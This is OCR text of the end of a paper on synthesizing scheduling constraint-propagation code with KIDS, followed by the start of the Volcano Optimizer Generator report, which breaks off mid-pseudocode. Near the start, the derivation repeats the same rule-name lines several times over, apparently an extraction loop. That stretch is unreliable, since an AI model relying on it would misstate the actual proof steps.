\text{seq-shad}(\text{sched}, i_c, \text{tuple-shad}(\text{sched}(i_c), \text{trip-MVRs}, \text{sched}(i_c).\text{trip-MVRs} \cup \{m_c\})) \] The variables are subscripted with \( a \) to avoid name conflict in the derivation and to emphasize that in this context they have already been abstracted by introducing \( a \) to the variable \( i_c \) for \( \text{release-time}(m_c) \). Now we focus on the second conjunct, \[ m \in \text{sched}(i).\text{trip-MVRs} \] simplifying it under the assumption: \[ m \in \text{sched}(i).\text{trip-MVRs} = \text{false} \] negation-assumption We require the following rules: \[ \text{seq-shad}(S, i, x)(j) = \text{if } i = j \text{ then } x \text{ else } S(j) \] \[ \text{tuple-shad}(x, f, y).f = y \] \[ \text{if } x \text{ then } y \text{ else } \text{false} = (x \land y) \] \[ \text{The simplification goes:} \] \[ m \in \text{sched}(i).\text{trip-MVRs} \] \[ \{\text{substitute update-trip-MVRs'}\} \] \[ = m \in \text{seq-shad}(\text{sched}, i_c, \text{tuple-shad}(\text{sched}(i_c), \text{trip-MVRs}, \text{sched}(i_c).\text{trip-MVRs} \cup \{m_c\})) \] \[ \text{update-earliest-start} \] \[ = \text{seq-shad}(\text{sched}, i_c, \text{update-trip-MVRs'}) \] \[ \text{update-trip-MVRs} \] \[ \text{seq-shad-application} \] \[ \text{tuple-shad-deref} \] \[ \text{if-then-else-false} \] \[ \text{negation-assumption} \] \[ \text{move if to top-level then use tuple-shad-deref} \] \[ \text{negation-assumption and if-then-else-false} \] \[ \text{distribute } e \text{ over } U \] \[ \text{move } ff \text{ to top-level then use seq-shad-application} \] \[ \text{negation-assumption and if-then-else-false} \] \[ \text{move if to top-level then use tuple-shad-deref} \] \[ \text{nagation-assumption and if-then-else-false} \] \[ \text{move if to top-level then use seq-shad-application} \] \[ \text{negation-assumption and if-then-else-false} \] \[ \text{move if to top-level then use tuple-shad-deref} \] \[ \text{nagation-assumption and if-then-else-false} \] \[ \text{move if to top-level then use seq-shad-application} \] \[ \text{negation-assumption and if-then-else-false} \] \[ \text{move if to top-level then use tuple-shad-deref} \] \[ \text{nagation-assumption and if-then-else-false} \] \[ \text{move if to top-level then use seq-shad-application} \] The residual for the first conjunct is false because the size of the schedule is unaffected. The residual for the second conjunct is \( i = i_c \land t = t_c + \text{duration} \). The full residual constraint becomes, after simplification: \[ \text{if } tc < \text{size}(\text{sched}) \Rightarrow t_c + \text{duration} \leq \text{sched}'(i_c + 1)\text{.earliest-trip-start}. \] Again, except for the conditional, this has the same form as update-earliest-start so the same procedure can be used. The complete refinement procedure for update-earliest-start is as follows: ``` def update-earliest-start(i_c, t_c, sched): if t_c <= sched(i_c).earliest-trip-start: update-earliest-start(i_c + 1, t_c + duration, sched') return sched' else: return sched ``` The specialization of trip-separations-Its is similar to that of trip-separations-ets. ### Summary of Generated Propagation Code The basic search routine generates new subspaces by calls to append-new-trip and update-trip-MVRs. The former has a call to update-earliest-start which initializes the earliest-start of the new trip based on the earliest-start of the previous trip. update-trip-MVRs has calls to update-earliest-start and update-latest-start based respectively on the release-time and due-time of the MVR being added. update-earliest-start is a linear recursion that propagates a change to the earliest-start of a trip to earliest-starts of subsequent trips until one does not need to be updated because the separation is already adequate. update-latest-start is similar, but propagates from the latest-start of a trip to latest-starts of previous trips until one does not need to be updated. This propagation code is very efficient, performing very few unnecessary tests. It is also space-efficient as the constraints are represented procedurally, and the solution spaces are represented intensively by bounds. We have used a depth-first propagation control-structure because the dependency structure for this problem is a tree. In general, a breadth-first control structure is necessary to avoid unnecessary work when the constraint interactions are more complicated. ### Extracting a Solution For this problem the extraction process is straightforward. The only issue is extracting valid trip-starts given earliest- and latest-trip-starts. One cannot arbitrarily choose values from the intervals to get a valid schedule. For example, choosing the latest-trip-start from one trip and the earliest-trip-start from the next trip will likely violate the trip-separation constraint. Always choosing the earliest-trip-starts or always choosing the latest-trip-starts gives a valid schedule. A more flexible strategy is to choose a trip-start between the earliest- and latest-trip-starts for some trip, then call the procedures update-earliest-start and update-latest-start with the chosen value, so that the consequences of the choice are propagated. Then this choose-and-propagate process can be repeated for other trips until a trip-start has been chosen for each trip. In general, it is possible that there is no valid solution to the original problem within a non-empty valid subspace (one that satisfies the transformed problem). If a single solution is required then one must enumerate valid subspaces until one is found that has at least one extractible solutions. If all solutions are required then all valid subspaces must be enumerated. If a minimal cost solution is required then a similar enumeration is necessary except we can add the constraint that the cost of a solution has to be less than the cost of the current best solution. ### Related Work Mackworth (Mackworth 1992) gives a characterization of constraint-satisfaction problems in relation to various logical representation and reasoning systems such as Horn First-Order Predicate Calculus and Constraint Logic Programs. Our system does not fit within his framework. Our work, along with that of Rehof and Mogensen, suggests the addition of an extra dimension to the framework in which the boolean lattice is generalized to an arbitrary lattice. Our problem reformulation of replacing trip-start by upper and lower bounds on trip-start is similar to work that uses interval techniques (Van Hentenryck, McAllester, & Kapur 1995; Benhamou, McAllester, & Van Hentenryck 1994; Hyvnen 1992). Our framework can be seen as a generalization of these approaches to work with arbitrary kinds of bounds. Our model of constraint propagation generalizes the concepts of cutting planes in the Operations Research literature (Nemhauser & Wolsey 1988) and the forms of propagation studied in the constraint satisfaction literature (e.g. (Van Hentenryck 1989)). Our use of fixed-point iteration for constraint propagation is similar to Paige's work on fixed-point iteration in RAPTS (Cai & Paige 1989). The main differences are (1) RAPTS expects the user to supply the monotone function as part of the initial specification whereas we derive it from a more abstract statement of the problem; (2) RAPTS instantiates a straightforward iteration scheme and then performs optimizations. Such an approach would be too inefficient for scheduling applications, so we use dependence analysis to generate code that is specific to the constraint system at hand. RAPTS uses finite differencing in order to make the iteration incremental. We have incorporated this into our framework and used it in more complex scheduling problems. ### Discussion and Further Work The main focus of our work has been on the synthesis of high-performance constraint-solving codes – some of the schedulers that we have synthesized using KIDS run several orders of magnitude faster than manually written schedulers. for the same problem. We believe that the speed is due to the specialized representation of constraints and the ability to optimize the propagation codes at design time. We have used KIDS to synthesize a variety of scheduling applications including ITAS (a theater airlift scheduler) (M.H.Burstein & Smith 1996) and the CAMPS Mission Planner (Emerson & Burstein 1999) which plans strategic airlift missions for the Air Mobility Command at Scott AFB. The speed of the generated scheduling algorithm has allowed us to tackle very complex constraint systems. For example, the CAMPS Mission Planner involves the routine scheduling of thousands of airlift missions, and the simultaneous handling of many classes of resource: aircraft and their configurations, crews and their duty days, fuel, parking capacity at ports, working and throughput capacity at ports, runway events, and others. Aircraft, crews and ports each have many capacity and usage constraints that must be modeled. Every time a scheduling decision is made, it is propagated through the constraint network to decide if it entails any inconsistency. We have described our work as a generalization of various frameworks. These frameworks have been developed in more depth than ours so there are many opportunities to see how ideas developed in these frameworks can be carried over. Our focus has been mainly on scheduling algorithms. We have looked briefly at problems such as integer linear programming, but not sufficiently to make a good estimate of their potential compared to other methods. Working from such a model is unlikely to give the best results as these models capture information in a very limited lattice structure. Frequently problems must be reformulated to get them into the form required by these general methods. Working from the original problem we may be able to capture more of its structure in lattices and so get a smaller search space. On the other hand, it may be possible to recover lattice structure information from analysis of an integer linear programming problem specification. Our framework is not directly applicable to incremental rescheduling if constraints are deleted as well as added. A possible way to handle the removal of a constraint is to follow dependencies of the deleted constraints to see which values may have depended on them. These values can be relaxed so that the space is large enough to find a solution when the new constraints are added. References
{"Source-Url": "http://www.aaai.org/Papers/Symposia/Spring/2002/SS-02-05/SS02-05-019.pdf", "len_cl100k_base": 9880, "olmocr-version": "0.1.53", "pdf-total-pages": 9, "total-fallback-pages": 0, "total-input-tokens": 29825, "total-output-tokens": 11710, "length": "2e13", "weborganizer": {"__label__adult": 0.00036025047302246094, "__label__art_design": 0.0003597736358642578, "__label__crime_law": 0.0005197525024414062, "__label__education_jobs": 0.0017910003662109375, "__label__entertainment": 6.765127182006836e-05, "__label__fashion_beauty": 0.00020432472229003904, "__label__finance_business": 0.000644683837890625, "__label__food_dining": 0.0004551410675048828, "__label__games": 0.0010509490966796875, "__label__hardware": 0.0010776519775390625, "__label__health": 0.0007634162902832031, "__label__history": 0.0003600120544433594, "__label__home_hobbies": 0.0001785755157470703, "__label__industrial": 0.0011196136474609375, "__label__literature": 0.0002598762512207031, "__label__politics": 0.0003604888916015625, "__label__religion": 0.00051116943359375, "__label__science_tech": 0.08148193359375, "__label__social_life": 9.691715240478516e-05, "__label__software": 0.00972747802734375, "__label__software_dev": 0.896484375, "__label__sports_fitness": 0.0003848075866699219, "__label__transportation": 0.0013275146484375, "__label__travel": 0.0002510547637939453}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 41406, 0.01097]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 41406, 0.2929]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 41406, 0.83498]], "google_gemma-3-12b-it_contains_pii": [[0, 3561, false], [3561, 10416, null], [10416, 16370, null], [16370, 19474, null], [19474, 23600, null], [23600, 25915, null], [25915, 30115, null], [30115, 35866, null], [35866, 41406, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3561, true], [3561, 10416, null], [10416, 16370, null], [16370, 19474, null], [19474, 23600, null], [23600, 25915, null], [25915, 30115, null], [30115, 35866, null], [35866, 41406, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 41406, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 41406, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 41406, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 41406, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 41406, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 41406, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 41406, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 41406, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 41406, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 41406, null]], "pdf_page_numbers": [[0, 3561, 1], [3561, 10416, 2], [10416, 16370, 3], [16370, 19474, 4], [19474, 23600, 5], [23600, 25915, 6], [25915, 30115, 7], [30115, 35866, 8], [35866, 41406, 9]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 41406, 0.0]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
0efe99b323ce6081f7d4845ccbf45a21735b313a
The Volcano Optimizer Generator Goetz Graefe, William McKenna CU-CS-563-91 December 1991 University of Colorado at Boulder DEPARTMENT OF COMPUTER SCIENCE ANY OPINIONS, FINDINGS, AND CONCLUSIONS OR RECOMMENDATIONS EXPRESSED IN THIS PUBLICATION ARE THOSE OF THE AUTHOR AND DO NOT NECESSARILY REFLECT THE VIEWS OF THE NATIONAL SCIENCE FOUNDATION The Volcano Optimizer Generator Goetz Graefe, William McKenna University of Colorado at Boulder Computer Science Technical Report 563 December 1991 Abstract Novel database applications demand not only high functionality but also high performance. To combine these two requirements, the Volcano project provides efficient, extensible tools for query and request processing in novel application domains, particularly in object-oriented and scientific database systems. One of these tools is a new optimizer generator. Data model, logical algebra, physical algebra, and rules are translated by the optimizer generator into optimizer source code. Compared with our earlier EXODUS optimizer generator prototype, the search engine is more extensible and powerful as it provides direct and effective support for non-trivial cost models and for physical properties like sort order and partitioning, but at the same time it is much more efficient. Compared with other rule-based optimization systems, it provides more extensibility and data model independence. The Volcano optimizer generator and its search engine demonstrate the feasibility of a query optimization system that is highly extensible but also very effective and efficient. 1. Introduction Numerous database systems are currently being developed, most of them from scratch rather than by using an extensible toolkit [27], because extensible database technology currently does not combine the required levels of generality and performance. The basic idea of extensible database systems is to divide DBMS functions into well-defined components and for each of them either to generate code from specifications or to provide a toolkit or "grab bag" of alternative modules. The former approach has been used for parsing and query optimization, while the latter approach seems particularly suitable for the storage and access mechanisms. Examples of code generators include parser generators like YACC [15] and optimizer generators like the EXODUS optimizer generator [4]; extensible toolkits include Genesis [1] and the attachment mechanisms in Starburst [13]. While extensibility is an important requirement for database research, performance must not be sacrificed for two reasons. First, data volumes stored in database systems continue to grow, in many application areas far beyond the capabilities of most existing database systems [26]. Second, in order to overcome acceptance problems in novel database application domains, database systems must achieve at least the same performance as the file systems currently in use. In other words, the additional software layers for database management must be counterbalanced by database performance techniques normally not used in these application areas. We believe that optimization and parallelization are prime candidates, and that tools and techniques for optimization and parallelization are crucial for the wider use of extensible database technology. For a number of research projects, namely the Volcano extensible, parallel query processor [11], the REVELATION OODBMS project [2, 7], optimization and parallelization in scientific databases [31], and dynamic query plans [8], we felt the need for an extensible query optimization system. Our earlier experience with the EXODUS optimizer generator had been inconclusive as it had proved the feasibility and validity of the optimizer generator paradigm, but it had been difficult to construct efficient, production-quality optimizers. Therefore, we set out to design a new optimizer generator, requiring several important improvements over the EXODUS prototype. First, the new system must be more efficient, both in optimization time and memory consumption for the search. Second, it must provide effective, efficient, and extensible support for physical properties like sort order, location and partitioning, compression status, and "assembledness" in object-oriented systems [16]. Third, it must permit extensive use of heuristics and data model semantics to guide the search and to prune futile parts of the search space. Fourth, it must learn optimization heuristics, both from observations during the search and from observations of actual query performance. Finally, it must support flexible cost models that could be used for generating dynamic plans for incompletely specified queries. In this paper, we describe the Volcano optimizer generator which fulfills or shortly will fulfill all the requirements above. In Section 2, we describe related work on rule-based extensible query optimization. Section 3 introduces the main concepts of the Volcano optimizer generator and details how the optimizer implementor can tailor a new optimizer. Section 4 discusses the optimizer search strategy in detail. Functionality, extensibility, and search efficiency of the EXODUS and Volcano optimizer generators is compared in Section 5. We offer our conclusions from this research in Section 6. 2. Related Work The EXODUS optimizer generator was a first attempt at extensible query optimization. It was successful in the sense that it defined a general approach to the problem based on the generator paradigm (data model specification as input data), separation of logical and physical algebra, extensive use of rules (transformation rules, implementation rules), and its focus on software modularization [4-6]. Considering the complexity of typical query optimization software and the importance of well-defined components to conquer complexities of software design and maintenance, the latter point might be one of the most important contributions of the EXODUS optimizer generator research. The generator concept was very successful because the input data (data model specification) could be turned into machine code; in particular, all strings were translated into integers, allowing very fast pattern matching. However, the EXODUS generator’s search engine was far from optimal. First, the modifications required for unforeseen algebras and their peculiarities made it quite a patchwork of code [6]. Second, the organization of the "MESH" data structure (that held all logical and physical algebra expressions explored so far) was extremely cumbersome, both in its time and space complexities. Third, the almost random transformations of expressions in MESH resulted in significant overhead in "reanalyzing" existing plans. In fact, for larger queries, most of the time was spent reanalyzing existing plans. The query optimization subsystem of the Starburst extensible-relational database management system consists of two rule-based subsystems with nested scopes [3, 12, 13, 20]. The first one, called query rewrite or query graph model (QGM), covers all operators except select, project, and join. Optimization of query rewrite operators, e.g., nested SQL queries, union, outer join, grouping, and aggregation, is based entirely on heuristics and is not cost sensitive. Select-project-join (SPJ) query components are covered by the second optimizer, also called the join enumerator, which performs rule-based, grammar-like, cost-sensitive expansion of SPJ queries from relational calculus into access plans. The join enumerator performs exhaustive search within certain structural boundaries. For example, it is possible to restrict the search space to left-deep trees (no composite inner), to include all bushy trees, or to set a parameter that explores some but not all bushy trees. However, the optimizer design is focussed on step-wise expansion of join expressions based on grammar-like rules, and it is not obvious how the existing rule set would interact with additional operators and expansion rules. Kemper and Moerkotte designed a rule-based query optimizer for the Generic Object Model [17]. The rules operate almost entirely on path expressions (e.g., employee.department.floor) by extending and cutting them to permit effective use of access support relations [18]. While the use of rules makes the optimizer extensible, it is not clear to what extent these techniques can be used for different data models and for different execution engines. In summary, we believe that the extensibility of the EXODUS optimizer generator and its modular software engineering approach are important for truly extensible systems. On the other hand, the carefully designed search strategy of Starburst's join enumerator is probably much more efficient than the EXODUS optimizer generator's very general search engine. Therefore, we tried to combine these two key advantages, generality and efficiency, in our new optimizer generator and its search engine. 3. The Outside View of the Volcano Optimizer Generator In this section, we provide a general overview of the Volcano optimizer generator. There are three fundamental design decisions embodied in the system. First, query processing, both optimization and execution, are presumed to be based on algebraic techniques. Second, rules are used to specify the data model and its properties. Third, rules are transformed by an optimizer generator into source code in a standard programming language (C) to be compiled and linked with the other DBMS modules. While query processing in relational systems has always been based on relational algebra, it is becoming increasingly clear that query processing in extensible and object-oriented systems will also be based on algebraic techniques. Several object-oriented algebras have recently been proposed, e.g., [25, 28-30]. Their common thread is that algebra operators consume one or more bulk types (e.g., set, bag, array, list) and produce another one suitable as input into the next operator. The execution engines for these systems are also based on algebra operators, i.e., algorithms consuming and producing bulk types. However, the set of operators and the set of algorithms are different, and selecting the most efficient algorithms will be one of the tasks of query optimization. Therefore, the Volcano optimizer generator uses two algebras, called the logical and the physical algebra, and generates optimizers that map an expression of the logical into an expression of the physical algebra using transformations within the logical algebra and cost-based mapping of logical operators to algorithms. Second, rules have been identified as a general concept to specify knowledge about patterns in a concise and modular fashion, and knowledge of algebraic laws as required for equivalence transformations in query optimization can easily be expressed using patterns and rules. For an extensible query optimization system, the properties of the data model and its execution engine must be imported knowledge (input data), suggesting a separation of rule specification and rule execution as realized in the generator and its associated search engine. Furthermore, in order to permit extensions of an existing optimizer, all input to the generator must be modular. Considering that query optimization is one of the conceptually most complex components of any database system, modularization is an advantage in itself both for initial construction of an optimizer and for maintenance. In our design, rules are translated independently from one another and are combined only by the search engine. The third fundamental design decision concerns rule interpretation vs. compilation. In general, interpretation can be made more flexible (in particular the rule set can be augmented at run-time), while compiled rule sets typically execute faster. Earlier experiments demonstrated that query optimization is very processing-intensive; therefore, we decided on rule compilation similar to the EXODUS optimizer generator. Moreover, we believe that extending a query processing system and its optimizer is so complex and time-consuming that it is never done on the fly, making the strongest argument for an interpreter pointless. Nonetheless, we have been using an interpreted Lisp prototype for preliminary algorithm studies because Lisp offers both powerful pattern matching and algorithmic control. Since these studies were completed about a year ago, we have been developing and working on the optimizer generator. 3.1. The Optimizer Generator Paradigm Figure 1 shows the general generator paradigm. While building the DBMS software, a model specification is translated into optimizer source code which is then compiled and linked with the other software. Some of this software is written by the optimizer implementor, e.g., cost functions. When the DBMS is used and a query is entered, the query is passed to the optimizer which generates an optimized plan for it. We call the person who specifies the data model and implements the DBMS software the "optimizer implementor." The person who poses queries to be optimized and executed by the database system is called the DBMS user. The correctness of the transformation rules as well as their soundness and completeness\(^1\) cannot be verified by the optimizer generator since these rules are the only source of knowledge about the data model, its operations, and its equivalence criteria. However, we plan on complementing the Volcano optimizer generator with an "advisor" that scans the rule set and suggests modifications to the optimizer implementor, e.g., rules that seem redundant, missing implementation algorithms for logical operators, etc. We feel that such a separate advisor is an additional advantage of the generator paradigm. After a data model description has been translated into source code for the optimizer, the generated code is compiled and linked with the search engine (code) that is associated with and part of the Volcano optimization software. The search engine is compiled each time a new optimizer is built; while this is not strictly necessary, it was convenient to design the system in this way because a number of constants that are derived from the model description, e.g., the maximal operator arity, can be compiled into the optimizer. We have considered modifying the search engine such that it can be compiled only once; while this would make the turn-around time during optimizer implementation and debugging faster, it would require dynamic space allocation for several data structures, therefore slowing the generated optimizers to some extent. \[\text{Model Specification} \downarrow \text{Optimizer Generator} \] \[\text{Optimizer Source Code} \downarrow \text{Compiler & Linker} \] \[ \begin{aligned} \text{Query} & \rightarrow \text{Optimizer} & \rightarrow \text{Plan} \end{aligned} \] Figure 1. The Generator Paradigm. \(^1\) Sound — only correct expressions and plans, i.e., equivalent to the original user query, can be derived. Complete — all correct expressions and plans can be derived. 3.2. Optimizer Generator Input and Optimizer Operation Since one major design goal of the Volcano optimizer generator was to minimize the assumptions about the data model to be implemented, the optimizer generator only provides a framework into which an optimizer implementor can integrate data model specific operations and functions. In this section, we discuss the components that the optimizer implementor can define when implementing a new database query optimizer. We discuss parts of the operation of generated optimizers here, but leave it to the section on search to draw all the pieces together. In order to ensure a common language, Table 1 summarizes the most important terms used throughout this paper and introduced in turn in this section. The user queries to be optimized are specified using an expression (tree) of logical operators. The translation from a user interface into a logical algebra expression must be performed by the parser and is not discussed here. The set of logical operators is declared in the model specification and compiled into the optimizer. Operators can have zero or more inputs; the number of inputs is not restricted. The output of the optimizer is a plan, which is an algebra expression of algorithms. Optimization consists of mapping a logical algebra expression into the optimal equivalent physical algebra expression. In other words, the optimizer reorders operators and selects implementation algorithms. The algebraic rules of expression equivalence, e.g., commutativity or associativity, are specified using transformation rules. The possible mappings of operators to algorithms are specified using implementation rules. Notice that these are rules <table> <thead> <tr> <th>Query</th> <th>Logical algebra expression.</th> </tr> </thead> <tbody> <tr> <td>Logical algebra, operator</td> <td>High-level operators that specify data transformations without specifying the algorithm to be used; for example, relational algebra.</td> </tr> <tr> <td>Plan</td> <td>Physical algebra expression.</td> </tr> <tr> <td>Physical algebra, algorithm</td> <td>Algorithms for data transformations, composable into complex query evaluation plans.</td> </tr> <tr> <td>Transformation rules</td> <td>Rules that govern rewriting logical algebra expressions; e.g., join commutativity.</td> </tr> <tr> <td>Implementation rules</td> <td>Rules that specify the relationships between logical operators and physical operators; e.g., (logical operator) join and (physical algorithm) hybrid hash join.</td> </tr> <tr> <td>Condition code</td> <td>Determines, after a rule pattern match has succeeded, whether or not a transformation rule, algorithm, or enforcer is applicable to a logical algebra expression.</td> </tr> <tr> <td>Property</td> <td>Description of results of (sub-) queries and (sub-) plans; divided into logical, system, and physical properties.</td> </tr> <tr> <td>Property vector</td> <td>Indicates which physical properties must be enforced during optimization of a logical algebra expression, e.g., sortedness.</td> </tr> <tr> <td>Enforcer</td> <td>Part of the physical algebra that enforces physical properties like sort order, location in a network, or decompression.</td> </tr> <tr> <td>Applicability function</td> <td>Decides whether an algorithm or enforcer can deliver a logical expression conforming to a physical property vector, and determines what physical properties its inputs must satisfy.</td> </tr> <tr> <td>Cost, Cost function</td> <td>An abstract data type that captures an algorithm’s or plan’s cost; typically a number or a record. A cost function estimates the cost of a algorithm or enforcer.</td> </tr> <tr> <td>Property function</td> <td>One for each operator and algorithm, they determine logical, system, and physical properties.</td> </tr> </tbody> </table> Table 1. Optimizer Generator Concepts. to allow for complex mappings. For example, a join followed by a projection (without duplicate removal) should be implemented in a single procedure. Beyond simple pattern matching of operators and algorithms, additional conditions may be specified with both kinds of rules using condition code attached to a rule to be invoked after a pattern match succeeded. The results of expressions are described using properties. Logical properties can be derived from the logical algebra expression alone and include the schema, expected size, etc., while physical properties depend on algorithms, e.g., sortedness, partitioning, etc. Logical properties are attached to equivalence classes — sets of equivalent logical expressions and plans — while physical properties are attached to specific plans and algorithm choices. Since we expect some logical properties to be used in any database query optimizer, we defined them separately as system properties. We hope to use system properties later for learning search heuristics automatically, for example, the fact that hash join is only worthwhile if the left (build) input is smaller than the right (probe) input. Currently, only item count (i.e., cardinality) and average item size (equivalent to record size) are system properties, but we may decide to revisit this design decision. The set of physical properties is summarized for each intermediate result in a property vector. The property vector is defined by the optimizer implementor and treated as an abstract data type by the Volcano optimizer generator and its search engine; in other words, the number of the fields in this vector, their types, and their semantics can be designed by the optimizer implementor. There are some operators in the physical algebra that do not correspond to any operator in the logical algebra, for example sorting and decompression. The purpose of these operators is not to perform any logical data manipulation but to enforce physical properties in their outputs that are required for subsequent query processing algorithms. We call these operators enforcers; they are comparable to "glue" operators in Starburst. It is possible for an enforcer to ensure two properties, or to enforce one but destroy another. Each optimization goal (and subgoal) is a pair of a logical expression and a physical property vector. In order to decide whether or not an algorithm or enforcer can be used to execute the root node of a logical expression, a generated optimizer matches the implementation rule, executes the condition code associated with the rule, and then invokes an applicability function to determine whether or not the algorithm or enforcer can deliver the logical expression with physical properties that satisfy the property vector. The applicability functions also determine the physical property vectors that the algorithm's inputs must satisfy. For example, when optimizing a join expression whose result should be sorted on the join attribute, hash join does not qualify while merge join qualifies with the requirement that its inputs be sorted. The sort enforcer also passes the test, and the requirements for its input do not include sort order. When optimizing the input to the sort, hash join qualifies. There is also a provision to ensure that algorithms do not qualify redundantly, e.g., merge join must not be considered as input to the sort in this example. After the optimizer decides to explore using an algorithm or enforcer, it invokes the algorithm's cost function to estimate its cost. Cost is an abstract data type for the optimizer generator; therefore, the optimizer implementor can choose cost to be a number (e.g., estimated elapsed time), a record (e.g., estimated CPU time and I/O count), or any other type. Cost additions and comparisons are performed by invoking functions associated with the abstract data type "cost." For each logical and physical algebra expression, logical and physical properties are derived using property functions. There must be one property function for each logical operator, algorithm, and enforcer. The logical properties are determined based on the logical expression, before any optimization is performed, by the property functions associated with the logical operators. For example, the schema of an intermediate result can be determined independently of which one of many equivalent algebra expressions creates it. The logical property functions also encapsulate selectivity estimation. On the other hand, physical properties like sort order can only be determined after an execution plan has been chosen. As a simple consistency check, generated optimizers verify that the physical properties of a chosen plan really do satisfy the physical property vector given as part of the optimization goal. To summarize this section, the optimizer implementor provides (1) a set of logical operators, (2) algebraic transformation rules, possibly with condition code, (3) a set of algorithms and enforcers, (4) implementation rules, possibly with condition code, (5) an ADT "cost" with functions for addition and comparison, (6) an ADT "logical properties," (7) an ADT "physical property vector," (8) comparisons for physical properties (equality and cover), (9) an applicability function for each algorithm and enforcer, (10) a cost function for each algorithm and enforcer, (11) a property function for each logical operator, and (12) a property function for each algorithm and enforcer. This might seem to be a lot of code; however, all this functionality is required to construct a database query optimizer with or without an optimizer generator. Moreover, considering that query optimizers are typically one of the most intricate modules of a database management systems and that the optimizer generator prescribes a clean modularization for these necessary optimizer components, the effort of building a new database query optimizer using the Volcano optimizer generator should still be significantly less than designing and implementing a new optimizer from scratch. The resulting optimizer is extensible in several important dimensions identified as necessary for query optimization in object-oriented systems, namely (1) the set of logical operators, (2) the set of equivalence rules, (3) the set of query execution algorithms, (4) the mapping from data model operations to algorithms, (5) the cost measure and cost estimation, and (6) the selectivity estimation model and statistics. Thus, we hope that the Volcano optimizer generator will prove to be a useful tool for query processing research in next-generation, extensible and object-oriented database systems. 3.3. Example Generator Input Figure 2 shows example generator input. Operators, algorithms, and enforcers are declared with their arity, i.e., the number of algebra expressions required as their input. Transformation rules are defined by a pair of logical algebra expressions and a transfer symbol. Operators can either be explicitly named or can be variables, as in the example. This permits specification of generic rules, e.g., commutativity and associativity, a feature that was missing in the EXODUS optimizer generator. The arguments, e.g., join predicates, appear in the expressions to permit correct transfer of arguments during optimization, e.g., of the two predicates appearing in a join associativity rule. Condition code can refer to the macro REJECT, which is supplied automatically by the optimizer generator. Application code is invoked after a rule has been applied, in this case to reverse the roles of left and right join attributes. Implementation rules specify mappings of operators to algorithms, and can be more complex than shown in Figure 2, e.g., to map the combination of two operators to one algorithm. -- Define logical operators and their input arities. %operator JOIN 2 %operator INTERSECTION 2 -- Define algorithms and their input arities. %algorithm HASH_JOIN 2 %algorithm FILE_SCAN 0 -- Define enforcers and their input arities. %enforcer SORT 1 -- Transformation rule: Commutativity rule for join and intersection. -- '->!' indicates the rule should not be applied to expressions -- which were generated by this rule. %trans_rule (?op1 ?op_arg1 (?1 ?2)) ->! (?op1 ?op_arg2 (?2 ?1)) %cond_code { /* Check for correct operators; difference is not commutative. */ if (?op1 != JOIN && ?op1 != INTERSECTION) REJECT; } %appl_code { /* Reverse the argument if the rule is applied. */ if (?op1 == JOIN) reverse_argument (?op_arg2, ?op_arg1); } -- Implementation rule: JOIN can be implemented by HASH_JOIN. %impl_rule (JOIN ?op_arg1 (?1 ?2)) -> (HASH_JOIN ?al_arg1 (?1 ?2)) Figure 2. Example Generator Input. 4. The Search Engine We consider query optimization to be a planning problem similar to many other planning problems in artificial intelligence (AI). However, there is no standard formulation or solution to the query optimization problem in AI because query optimization and AI researchers have traditionally not interacted very much; if at all, mostly to consider database techniques for knowledge bases rather than AI techniques for database problems. A second reason is that there is no standard formulation of "the" query optimization problem among database researchers because data models and query languages differ as well as query execution engines, their facilities and costs. Furthermore, the separation of logical algebra (like relational algebra with operators like join) and executable algebra (with operators like nested loops, hash join, merge join, and sort) makes this planning problem unique. 4.1. The Search Algorithm Since our experience with the EXODUS optimizer generator indicated that it is easy to waste a lot of search effort, we designed the search algorithm for the Volcano optimizer generator to be very goal-oriented and driven by needs rather than by possibilities. In some sense, while the EXODUS search engine could be described as using forward chaining (in the sense this term is used in AI), the Volcano search algorithm uses backward chaining since it explores only those subqueries and plans that truly participate in a larger expression. Algebraic transformation systems always include the possibility of deriving the same expression in several different ways. In order to prevent redundant optimization effort by detecting redundant (i.e., multiple equivalent) derivations of the same logical expressions and plans during optimization, expression and plans are captured in a hash table of expression and equivalence classes. An equivalence class represents two collections, one of equivalent logical and one of physical expressions (plans). The logical algebra expressions are used for efficient and complete exploration of the search space, and plans are used for a fast choice of a suitable input plan that satisfies physical property requirements. For each combination of physical properties for which an equivalence class has already been optimized, e.g., unsorted, sorted on A, and sorted on B, the best plan found is kept. Figure 3 shows a simplified diagram of an equivalence class; a network of equivalence classes is created during optimization and contains all optimization results. Figure 4 shows an outline of the search algorithm used by the Volcano optimizer generator. The original invocation of the FindBestPlan procedure indicates the logical expression passed to the optimizer as the query to be optimized, physical properties as requested by the user (for example, sort order as in the ORDER BY clause of SQL), and a cost limit, typically infinity for the original user query until a first plan is found. The FindBestPlan procedure is broken into two parts. First, if a plan for the expression satisfying the physical property vector can be found in the hash table, either the plan and its cost or a failure indication are returned depending on whether or not the found plan satisfies the given cost limit. If the expression cannot be found in the hash table, or if the expression has been optimized before but not for the presently required physical properties, actual optimization is begun. There are three sets of possible "moves" the optimizer can explore at any point. First, the expression can be transformed using a transformation rule. Second, there might be some algorithms that can deliver the logical expression with the desired physical properties, e.g., hash join for unsorted output and merge join for join output. FindBestPlan (LogExpr, PhysProp, Limit) if LogExpr & PhysProp is in the hash table if cost in hash table < Limit return plan and cost else return failure else /* optimization required */ create the set of possible "moves" from applicable transformations algorithms that give the required PhysProp 